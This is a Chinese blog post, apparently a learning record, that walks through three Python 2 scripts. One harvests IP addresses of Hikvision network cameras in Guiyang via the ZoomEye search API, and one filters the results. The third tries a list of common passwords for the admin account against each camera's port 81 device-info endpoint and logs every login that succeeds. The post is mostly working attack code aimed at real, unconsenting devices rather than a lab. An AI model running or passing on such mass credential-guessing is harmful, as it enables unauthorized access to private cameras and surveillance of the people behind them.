利用ZoomEye快速查找Hikvision网络摄像头

学习阶段的一次记录,时间久远,部分文字描述可能有误。

Step 1:利用搜索引擎批量发现网络摄像头

ZoomEye 正是一个检索网络空间节点的搜索引擎。能够通过设备类型、固件版本、分布地点、开放端口服务等信息进行主机发现,同样也可以使用Shodan进行搜索,ZoomEye目前侧重于Web层面的资产发现而Shodan则侧重于主机层面。
直接粘贴代码,需要动手的部分只有API参数的更改。在WEB页面进行搜索尝试,根据所查结果配置API参数。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
@version: ??
@author: hiro086
@contact: [email protected]
@file: spider_main.py
@time: 17/6/28 下午4:07
"""

import os
import requests
import json
import sys

access_token = ''
ip_list = []

def login():
    user = raw_input('[username]:')#email
    passwd = raw_input('[password]:')
    data = {
        'username':user,
        'password':passwd,
    }
    data_encoded = json.dumps(data)#dumps是将dict转化成str格式,loads是将str转化成dict格式。
    try:
        r = requests.post(url = 'https://api.zoomeye.org/user/login',data = data_encoded)
        r_decoded = json.loads(r.text)
        global  access_token
        access_token = r_decoded['access_token']

    except Exception:
        print '[info]:username or password is wrong'
        exit()

def savaStrToFile(file,str):
    with open(file,'w') as output:
        output.write(str)

def savaListToFile(file,list):
    s = '\n'.join(list)
    with open(file,'w') as output:
        output.write(s)


def apiTest():
    page = 1
    global access_token
    with open('access_token.txt','r') as input:
        access_token = input.read()
    headers = {'Authorization': unicode('JWT ' + access_token, "UTF-8"),} # 请求头以此来说明你有调用api的权限
    print headers
    while True:
        try:
            r = requests.get(url="https://api.zoomeye.org/host/search?query=app:Hikvision IP camera httpd port:80 country:China country:China city:Guiyang &page=" + str(page),headers = headers)
            r_decoded = json.loads(r.text)
            print
            for x in r_decoded['matches']:
                resStr = x['ip']
                 #         + ':' + str(x['portinfo']['port'])+ '\t' + '[geoinfo]:'  +\
                 # x['geoinfo']['city']['names']['en'] + ' ' + x['geoinfo']['country']['names']['en']+'\t' +\
                 # '[lat-lon]:' + str(x['geoinfo']['location']['lat']) +' '+ str(x['geoinfo']['location']['lon'])

                # 我在此保存的信息有点多,仅供参考,注意字典中键值的类型,json格式参考下图
                print resStr
                ip_list.append(resStr)
            print '[info]count' + str(page * 10) #每页10ip
        except Exception,e:
            if str(e.message) == 'matches':
                print '[info]:' + 'account was break, exceeding the max limitations'
                break
            else:
                print '[info]:' + str(e.message)
        else:
            if page == 50:
                break
            page += 1

def main():
    if not os.path.isfile('access_token.txt'):
        print '[info]:access_token file is not exist, please login'
        login()
        savaStrToFile('access_token.txt',access_token)
    apiTest()
    savaListToFile('ip_list1.txt',ip_list)

if __name__ == '__main__':
    main()

Step 2:提取IP信息

这部分比较简单,根据返回的信息提取IP

#!/usr/bin/env python
# encoding: utf-8

"""
@version: ??
@author: hiro086
@contact: [email protected]
@file: extract_msg.py
@time: 17/6/29 下午5:06
"""
import threading
import requests
import Queue
import sys
import re

def Threads():
    threadlist = []
    queue = Queue.Queue()
    for ip in open('result1.txt','r'):
        queue.put(ip.replace('\n',''))
    for x in range(0,10):
        th = threading.Thread(target=pri_lines,args=(queue,))
        threadlist.append(th)
    for t in threadlist:
        t.start()
    for t in threadlist:
        t.join()

def pri_lines(queue):
    while not queue.empty():
        lines = queue.get()
        try:
            lines = lines.strip()
            if lines.endswith(' 200'):
                print lines
        except:
            continue

if __name__ == '__main__':
    print "Extract message ..."
    Threads()

Step 3:测试弱命令

这里利用的是固有端口81,很简单的实现

#!/usr/bin/env python
# encoding: utf-8

"""
@version: ??
@author: hiro086
@contact: [email protected]
@file: weak_password.py
@time: 17/6/29 上午10:15
"""
import threading
import requests
import Queue
import sys
import re

password = ['admin','12345','123456','123456789','password','iloveyou','princess','rockyou','1234567','12345678','abc123','111111','superman']
def Threads():
    threadlist = []
    queue = Queue.Queue()
    for ip in open('ip_list1.txt','r'):
        queue.put(ip.replace('\n',''))
    for x in range(0,10):
        th = threading.Thread(target=scan_Hikvision,args=(queue,))
        threadlist.append(th)
    for t in threadlist:
        t.start()
    for t in threadlist:
        t.join()

def scan_Hikvision(queue):
    while not queue.empty():
        ip = queue.get()
        for passwd in password:
            try:
                print "[*]scan:"+ip
                r = requests.get(url=("http://%s:81/PSIA/System/deviceInfo" % ip),auth=('admin',passwd),
                                 timeout=20)
                print "[*]back:"+ip+' '+passwd+' '+str(r.status_code)
                if r.status_code == 200:
                    deviceName = re.findall(r'(.+?)',r.text)[0]
                    f = open('ok.txt','a+')
                    f.write("ip:%s deviceName:%s\n" % (ip,deviceName))
                    f.close()
                    break
            except:
                continue

if __name__ == '__main__':
    print "Running scan_Hikvision ..."
    Threads()

你可能感兴趣的:(利用ZoomEye快速查找Hikvision网络摄像头)